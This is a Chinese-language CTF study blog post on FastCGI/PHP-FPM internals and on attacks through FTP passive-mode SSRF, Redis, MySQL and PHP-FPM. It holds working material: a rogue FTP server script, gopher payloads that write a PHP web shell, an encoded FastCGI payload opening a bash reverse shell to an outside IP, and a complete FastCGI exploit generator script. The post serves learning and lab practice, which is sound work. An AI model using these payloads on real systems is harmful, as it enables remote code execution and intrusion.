May 16, 2023

FTP被动模式/PHP-FPM攻击利用总结

参考文章:

前言

感觉都是被大牛们玩腻了的东西,但可惜我学的晚,来补补。FTP这块之前一直搁着

一、认识PHP-FPM和Nginx(FastCGI)

(1)基本认识

PHP-FPM(FastCGI Process Manager)是一种为 PHP 解释器提供进程管理和处理能力的工具。它是 PHP FastCGI 协议的一个实现,通过将 PHP 进程管理和请求处理分离,提供了更高的性能和可扩展性。
那啥是FastCGI呢?

FastCGI(Fast Common Gateway Interface)是一种通信协议,用于在 Web 服务器和应用程序之间进行交互。它是对传统 CGI(Common Gateway Interface)协议的改进和扩展,旨在提高性能和可扩展性。
传统的 CGI 协议每次处理请求时都会创建一个新的进程或线程来执行脚本,并在处理完请求后终止进程或线程,这样会导致频繁的进程创建和销毁开销,影响性能。而 FastCGI 协议通过引入进程池的概念和持久连接,允许服务器与应用程序保持长时间的连接,重复使用已创建的进程或线程,从而减少了进程创建和销毁的开销。

FastCGI 协议的工作方式如下:

  1. Web 服务器与 FastCGI 进程管理器(如 PHP-FPM)建立持久连接。
  2. 当有请求到达时,Web 服务器将请求信息传递给 FastCGI 进程管理器。
  3. FastCGI 进程管理器根据配置选择一个空闲的进程或线程来处理请求。
  4. 选中的进程或线程使用 FastCGI 协议接收请求,并执行相应的脚本或应用程序。
  5. 处理完请求后,进程或线程将响应发送回 FastCGI 进程管理器。
  6. FastCGI 进程管理器将响应返回给 Web 服务器,并保持连接以供后续请求重用。

FastCGI 协议的优点在于它能够重用进程或线程,减少了频繁创建和销毁的开销,提高了服务器的性能和并发处理能力。它还支持并发处理多个请求,可以在同一时间处理多个请求,提高了系统的吞吐量。FastCGI 协议被广泛用于各种 Web 应用程序和服务器环境中,如 PHP、Python、Ruby 等。
说的通俗一点,当用户在浏览器中访问一个网页时,服务器需要处理用户的请求并返回相应的内容。传统的 CGI 协议在每次请求时都需要创建一个新的处理进程,处理完后再销毁进程,这样会导致性能低下。
FastCGI 协议解决了这个问题。它引入了一个进程池的概念,服务器在启动时创建一组进程或线程,并保持它们一直运行。当用户发送请求时,服务器选择一个空闲的进程或线程来处理请求,而不是每次都创建一个新的进程。
然后悄咪咪的偷一张图
image.png

(2)TCP/Unix通信

TCP:
TCP模式即是php-fpm进程会监听本机上的一个端口(默认9000),然后nginx会把客户端数据通过fastcgi协议传给9000端口,php-fpm拿到数据后会调用cgi进程解析。
它允许通过网络进程之间的通信,也可以通过loopback进行本地进程之间通信。

1
2
3
4
5
6
7
8
location ~ [^/]\.php(/|$)
{
try_files $uri =404;
fastcgi_pass 127.0.0.1:9000; // 修改这里,指定fastcgi在127.0.0.1的9000端口
fastcgi_index index.php;
include fastcgi.conf;
include pathinfo.conf;
}

Unix:
unix socket其实严格意义上应该叫unix domain socket,它是unix系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为socket的唯一标识(描述符),需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。 具体原理这里就不讲了,但是此通信方式的性能会优于TCP
它允许在本地运行的进程之间进行通信。

1
2
3
4
5
6
7
8
location ~ [^/]\.php(/|$)
{
try_files $uri =404;
fastcgi_pass unix:/tmp/php-cgi-74.sock;
fastcgi_index index.php;
include fastcgi.conf;
include pathinfo.conf;
}

二、FastCGI协议分析

和HTTP协议一样,FASTCGI也有对应的协议,并且也有请求头和请求体之分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
typedef struct {
/* Header */
unsigned char version; // 版本
unsigned char type; // 本次record的类型
unsigned char requestIdB1; // 本次record对应的请求id
unsigned char requestIdB0;
unsigned char contentLengthB1; // body体的大小
unsigned char contentLengthB0;
unsigned char paddingLength; // 额外块大小
unsigned char reserved;
/* Body */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;

头由八个char type组成,语言端解析了fastcgi头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,这就是body体。

(1)Type

上述type类型并未说明是什么,偷了一张图。
image.png
感觉和TCP的握手包有点像(本来就是TCP
那么我们可以理清楚顺序了,首先是问候报文就是1,后续发送4、5、6、7进行交流,结束的时候发送2、3表示终止对话。
并且当后端语言解析到type为4的类型时,就会把这个record的body按照对应的结构解析为对应的键值对,这个叫做环境变量。如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
typedef struct {
unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
unsigned char nameData[nameLength];
unsigned char valueData[valueLength];
} FCGI_NameValuePair11;
typedef struct {
unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
unsigned char valueLengthB2;
unsigned char valueLengthB1;
unsigned char valueLengthB0;
unsigned char nameData[nameLength];
unsigned char valueData[valueLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;
typedef struct {
unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
unsigned char nameLengthB2;
unsigned char nameLengthB1;
unsigned char nameLengthB0;
unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
unsigned char nameData[nameLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
unsigned char valueData[valueLength];
} FCGI_NameValuePair41;
typedef struct {
unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
unsigned char nameLengthB2;
unsigned char nameLengthB1;
unsigned char nameLengthB0;
unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
unsigned char valueLengthB2;
unsigned char valueLengthB1;
unsigned char valueLengthB0;
unsigned char nameData[nameLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
unsigned char valueData[valueLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;

这里有四个结构,有如下规则

  1. key、value均小于128字节,用 FCGI_NameValuePair11
  2. key大于128字节,value小于128字节,用 FCGI_NameValuePair41
  3. key小于128字节,value大于128字节,用 FCGI_NameValuePair14
  4. key、value均大于128字节,用 FCGI_NameValuePair44

三、PHP-FPM解析

大家都知道$_SERVER这个变量
image.png
用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}

四、FTP主/被动模式SSRF

(1)主动模式攻击server

这里ftp服务器我们使用如下脚本去搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# import logging
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
authorizer = DummyAuthorizer()
authorizer.add_user("fan", "root", ".",perm="elrafmwMT")
authorizer.add_anonymous(".")
handler = FTPHandler
handler.permit_foreign_addresses = True #<-- 此句很重要,原因后说
handler.passive_ports = range(2000, 2030)
handler.authorizer = authorizer
# logging.basicConfig(level=logging.DEBUG) <-- 在测试时加入此句方便dubug
server = FTPServer(("0.0.0.0", 8877), handler)
server.serve_forever()

我们使用python里的urlopen去通过ftp协议获取ftp-server.py的内容:
urlopen("ftp://fan:[email protected]:8877/ftp-server.py").read()
image.png
结果如上,可以清楚的看到ftp服务器的认证报文以及右侧的回显结果。

1
2
3
4
5
[I 2023-05-12 22:05:04] 127.0.0.1:44604-[] FTP session opened (connect)
[I 2023-05-12 22:05:04] 127.0.0.1:44604-[fan] USER 'fan' logged in.
[I 2023-05-12 22:05:04] 127.0.0.1:44604-[fan] CWD /opt 250
[I 2023-05-12 22:05:04] 127.0.0.1:44604-[fan] RETR /opt/ftp-server.py completed=1 bytes=591 seconds=0.0
[I 2023-05-12 22:05:04] 127.0.0.1:44604-[fan] FTP session closed (disconnect).

从这一段可以知道基本的认证流程

其中后四步都是client发送给server的。所以很明显可以进行CRLF的注入,这也是SSRF的成因。
这边本地复现不了通过python实现CRLF注入,应该是后续在ftplib.py模块加上了一些东西。尝试了3个py版本都会抛出ValueError: an illegal newline character should not be contained异常,说明urlopen里不能包含换行符。失败告终,不过不影响(
假如成功是可以出现如下内容的

龟速填坑
一开始蠢到懒得去看源码,估计是21年后由于ftp的题目泛滥,人家直接给源码抛出了一个exception,因为源码原本长这样:

1
2
3
4
5
6
7
def putline(self, line):
if '\r' in line or '\n' in line:
raise ValueError('an illegal newline character should not be contained')
line = line + CRLF
if self.debugging > 1:
print('*put*', self.sanitize(line))
self.sock.sendall(line.encode(self.encoding))

你可以看到exception底下就是line+CRLF,但是他在上面加了一个补丁。操你妈
所以我们假如想本地复现,需要把这个异常给他去掉。
服务器还是上述代码的,这次exp如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
import sys
import urllib
import urllib.error
import sys
import urllib.request

# url=f'''ftp://fan:root\r\nTYPE I\r\nCWD .\r\nPORT 172,28,18,131,30,97\r\nRETR ftp-server.py\r\[email protected]:8877/ftp-server.py'''
url='ftp://fan:root\r\nTYPE I\r\nCWD .\r\nPORT 172,28,18,131,30,97\r\nRETR ftp-server.py\r\[email protected]:8877/ftp-server.py'
try:
info=urllib.request.urlopen(url).read()
print(info)
except urllib.error.URLError as e:
print(e)

PORT 后两位数字是通过port {ip},{port // 256},{port - port // 256 * 256}计算得来,可以参考这个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib.request

def get_port_cmd(host):
ip, port = host.split(':')
ip = ','.join(ip.split('.'))
port = int(port)
return f'port {ip},{port // 256},{port - port // 256 * 256}'


if __name__ == '__main__':
# 向本地的FTP发送消息
target = '172.28.18.131:8877'

# FTP的消息
commands = ['type i', get_port_cmd(host='172.28.18.131:7777'), 'retr slug01sh']
commands_str = '\r\n'.join(commands)
print(commands_str)
commands_str = urllib.parse.quote(commands_str)

url = 'ftp://fan:root@'+target+'/\r\n'+commands_str
print(url)
# urllib.request.urlopen(url)

运行之后我们可以得到如下结果
image.png
我们可以将他的数据发送到vps上,vps只需起一个监听即可。

(2)被动模式攻击clinet

被动模式经常出现在一些CTF题里面,这也是本文的重点。上文是让服务端重定向到我们的vps,这次我们需要让请求服务端的客户端重定向到客户端的内网,去攻击客户端的内网应用。这里就简单让client发送一段数据,如test到内网的某个端口上
实现这一点我们首先需要进行一些环境搭建

我们准备的php代码就一句话

1
<?php file_put_contents($_POST['filename'], $_POST['data']);?>

那么我们的思路就是把恶意语句存到我们vps的一个服务器上,然后让client下载,在上传的时候我们恶意的ftp将其重定向到client的内网中,这样就完成了攻击。
我们的恶意ftp服务器代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# evil_ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

然后载荷payload为filename=ftp://[email protected]:8555/123&data=test
这样我们监听一下9000端口后就可以收到信息了。
image.png
还挺不错的

五、FTP被动模式攻击内网服务

(1)Redis

假如想打redis的话前提是做一下环境搭建,否则另说。我们需要的东西是

主要是搭redis可能会遇到点问题(一般都是这里出问题)
image.png
test-checker检测正常,环境无误
那么进入实操环节,首先gopherus生成一下redis的payload,或者使用自己的py脚本生成都是可以的。
首先生成payload
image.png
然后打入
image.png
data=%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A&filename=ftp://[email protected]:8555/123
image.png
可以看到成功写入shell。easy
这里需要注意一个问题就是redis的版本必须在7一下,在7以上的版本中开启了保护机制,即无法set dir,dir选项被保护了,我们无法getshell。所以现在redis也基本打不着了除了一些老版本,在实战中很难遇见

(2)Mysql

打mysql的话流程和redis是一样的

image.png
准备数据库如上,需一个无密码的root用户,这样才可以进行ssrf,我们也是一样的流程。
首先gopherus生成一个gopher协议的payload,截取后面的部分
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4d%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%62%6f%6f%67%69%70%6f%70%2e%70%68%70%27%3b%01%00%00%00%01
截取下划线后半的部分,然后传参如上即可,本地由于版本太高没打通,思路是这样。现在找老版本的mysql太抽象了

(3)PHP-FPM

选择镜像

1
docker run -it -P 80  bitnami/php-fpm

运行之后环境就起来了。个屁。
废了九牛二虎之力搭好了环境。环境搭建如下,首先如上起一个容器,然后我们在容器中依次使用以下指令
apt-get update&&apt-get install nginx
然后在/etc/nginx/nginx.conf中修改一下配置文件,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#user  nobody;
worker_processes 1;
events {
worker_connections 1024;
}
http
{
server {
listen 0.0.0.0:80;
server_name localhost;

root /app;

location / {
try_files $uri $uri/index.php;
}

location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi.conf;
}
}
}

然后你可以安装vim、netstat指令方便调试,分别用apt-get install vim&&apt-get install net-tools进行安装即可
image.png
很玄学为什么shell直接断了?
image.png
排坑ing……………………
我是傻逼,反弹shell断了的原因是我漏了<&1,断了一个尾巴还弹牛魔呢。
image.png
filename=ftp://[email protected]:8555/123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%FC%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH107%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%0ESCRIPT_FILENAME/app/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00k%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/114.116.119.253/2333%20%3C%26%201%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
image.png
直接getshell
到这里有关FTP攻击内网服务的方式都实现完了,接下来我们着重讲一下PHP-FPM有关的攻击,这玩意儿攻击点很多。

六、PHP-FPM攻击

(1)PHP-FPM 未授权访问导致的RCE

这东西其实在CTF中见到的并不算多,因为直接攻击远程PHP-FPM需要9000端口暴露在外,但是实际是不会这样的。这里简单说一下思路
假如9000端口暴露在外,我们可以和PHP-FPM进行通信,那我们就可以构造FASTCGI的语言去和FPM交互,也就可以进行一些恶意操作
还记得文件上传中的.user.ini里面的两个选项吗

然后上述讲协议的时候我们讲到了FASTCGI会解析为键值对。
而PHP-FPM环境变量里有2个选项可以用来设置PHP的配置(disable除外)

最后可以构造恶意数据包如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

我们让自动包含东西为input协议并且开启url_include,这样就可以getshell了
这里给出P神的脚本
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

(2)SSRF 攻击 PHP-FPM

SSRF的话首先包括上述说的FTP打PHP-FPM其实本质都是一样的,利用gopher或者ftp去和fpm通信去打,依然可以用p神脚本,改改就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket
import random
import argparse
import sys
from io import BytesIO
from six.moves.urllib import parse as urlparse
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
#return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
# 前面都是构造的tcp数据包,下面是发送,所以我们可以直接注释掉下面内容,然后返回request
#self.sock.send(request)
#self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
#self.requests[requestId]['response'] = ''
#return self.__waitForResponse(requestId)
return request
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
# 这里调用request,然后返回tcp数据流,所以修改这里url编码一下就好了
#response = client.request(params, content)
#print(force_text(response))
request_ssrf = urlparse.quote(client.request(params, content))
print("gopher://127.0.0.1:" + str(args.port) + "/_" + request_ssrf)

改成gopher协议就好了
或者利用gopherus去打gopherus --exploit FASTCGI即可

(3)PHP-FPM内存马

可以看看葵姐姐的文章
https://amiaaaz.github.io/2022/09/13/php-fpm-mem-shell-study-notes/#php-fpm%E5%81%9A%E5%86%85%E5%AD%98%E9%A9%AC
image.png
这里说到了只需要换一下auto_prepend_file的内容为一个木马就可以拉~

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#FASTCGI